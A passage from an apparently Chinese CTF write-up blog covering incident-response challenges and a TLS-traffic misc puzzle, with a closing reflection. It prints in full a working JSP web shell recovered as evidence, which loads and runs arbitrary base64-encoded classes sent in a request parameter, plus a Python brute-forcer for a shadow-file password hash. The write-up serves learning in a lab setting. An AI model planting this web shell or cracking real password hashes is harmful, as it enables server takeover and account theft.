<%!     class U extends ClassLoader {         U(ClassLoader c) {             super(c);         }         public Class g(byte[] b) {             return super.defineClass(b, 0, b.length);         }     }       public byte[] base64Decode(String str) throws Exception {         try {             Class clazz = Class.forName("sun.misc.BASE64Decoder");             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);         } catch (Exception e) {             Class clazz = Class.forName("java.util.Base64");             Object decoder = clazz.getMethod("getDecoder").invoke(null);             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);         }     } %> <%     String cls = request.getParameter("passwd");     if (cls != null) {         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);     }

mikuu.jsp

1
2
<%!     class U extends ClassLoader {         U(ClassLoader c) {             super(c);         }         public Class g(byte[] b) {             return super.defineClass(b, 0, b.length);         }     }       public byte[] base64Decode(String str) throws Exception {         try {             Class clazz = Class.forName("sun.misc.BASE64Decoder");             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);         } catch (Exception e) {             Class clazz = Class.forName("java.util.Base64");             Object decoder = clazz.getMethod("getDecoder").invoke(null);             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);         }     } %> <%     String cls = request.getParameter("miiikuuu");     if (cls != null) {         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);     } %>

这两个接受的参数一个是passwd,一个是miiikuuu,推测这个miiikuuu就是木马连接密码,然后看恶意用户

image-20260120160636833

有一个mikuu的用户,这个就是恶意用户。

image-20260120160937722

1
2
mikuu:$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8:20378::::::

题目提示密码是用户密码是六位特定范围内的字母构成。纵观整个题目可以确定字母是miku,长度是6位,爆破就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import crypt
import itertools
from tqdm import tqdm
import threading
import time

# 核心配置
shadow_hash = "$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8"
chars = "mMkKiIuU" # 特定字符集(8个字符,8^6=262144组合)
password_length = 6
found_password = None # 存储结果
stop_flag = False # 停止信号
counter = 0 # 已验证密码数
counter_lock = threading.Lock() # 计数器锁(线程安全)


def verify_batch(batch):
"""验证一批密码,更新计数器和停止信号"""
global counter, found_password, stop_flag
for pwd in batch:
if stop_flag: # 已找到密码,直接退出
return
# 验证密码
if crypt.crypt(pwd, shadow_hash) == shadow_hash:
found_password = pwd
stop_flag = True
print(f"\n[!] 找到密码:{pwd}")
return
# 安全更新计数器(加锁避免冲突)
with counter_lock:
counter += 1


def main():
# 生成所有6位密码组合(一次性生成,避免重复计算)
all_passwords = ["".join(p) for p in itertools.product(chars, repeat=password_length)]
total = len(all_passwords)
print(f"[+] 总组合数:{total:,} 个 | 字符集:{chars}")

# 分割任务(8线程,每线程处理一批)
num_threads = 8
batch_size = total // num_threads
batches = [
all_passwords[i*batch_size : (i+1)*batch_size]
for i in range(num_threads)
]
# 最后一批可能多一点,补全剩余
batches[-1].extend(all_passwords[num_threads*batch_size:])

# 启动进度条(独立线程)
def show_progress():
start_time = time.time()
with tqdm(total=total, desc="[+] 爆破进度") as pbar:
while not stop_flag and counter < total:
# 读取当前计数器值并更新进度条
with counter_lock:
current = counter
pbar.update(current - pbar.n)
time.sleep(0.3) # 每0.3秒更新一次
# 最后补全进度
pbar.update(total - pbar.n)
print(f"[+] 总耗时:{time.time() - start_time:.2f} 秒")

progress_thread = threading.Thread(target=show_progress)
progress_thread.start()

# 启动验证线程
threads = []
for batch in batches:
t = threading.Thread(target=verify_batch, args=(batch,))
threads.append(t)
t.start()

# 等待所有线程结束
for t in threads:
t.join()
progress_thread.join()

# 输出结果
if found_password:
print(f"\n[✅] 密码:{found_password}")
else:
print("\n[❌] 未找到(字符集可能错误)")


if __name__ == "__main__":
main()

密码是miiiku

flag{miiikuuu_miiiku}

应急响应:把你 mikumiku 掉(3)

在/home/mikuu有两个加密文件,开个临时服务把这两个文件拉到本地,然后找我土哥让他逆向分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = bytes.fromhex("123456789ABCDEF01122334455667788")
iv = bytes.fromhex("19198101145140EFFEDCBA9876543210")

with open("flag.miku", "rb") as f:
# Skip the first 16 bytes (the IV header)
f.seek(16)
ciphertext = f.read()

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), 16)

print(plaintext.decode())

image-20260120170000405

[Misc] 不是所有牛奶都叫___(挑战题)

挑战题就这一道misc,放到这里写吧,这个看官方wp才知道这个题目描述的用意

什么牛奶?MN?YGNC?YL?特 @#&!+&*@!#^&——————-.

就是常见的牛奶品牌,这个后面的是特仑苏(TLC)就是TLC加密流量,那题目后面空白的就是特仑苏,找sslkey就行了,过滤http协议看一下在tcp流97发现文件

image-20260120220332448

导入密钥文件后过滤http请求发现tcp50包中有base64编码,转文件得到二维码

C96bbqZUsoSoC3xDnm1c2D0bnbf

flag{W0w_You_r3al1y_knOW_TL5&QrCode}

结语

在期末周刚开始的时候写这篇博客,中间不想复习的时候就写两道,一直到现在。总的来说还是学到了很多,同时在学习过程中也感受到了在这广袤天地自己是多渺小。继续努力吧,当一个advancer。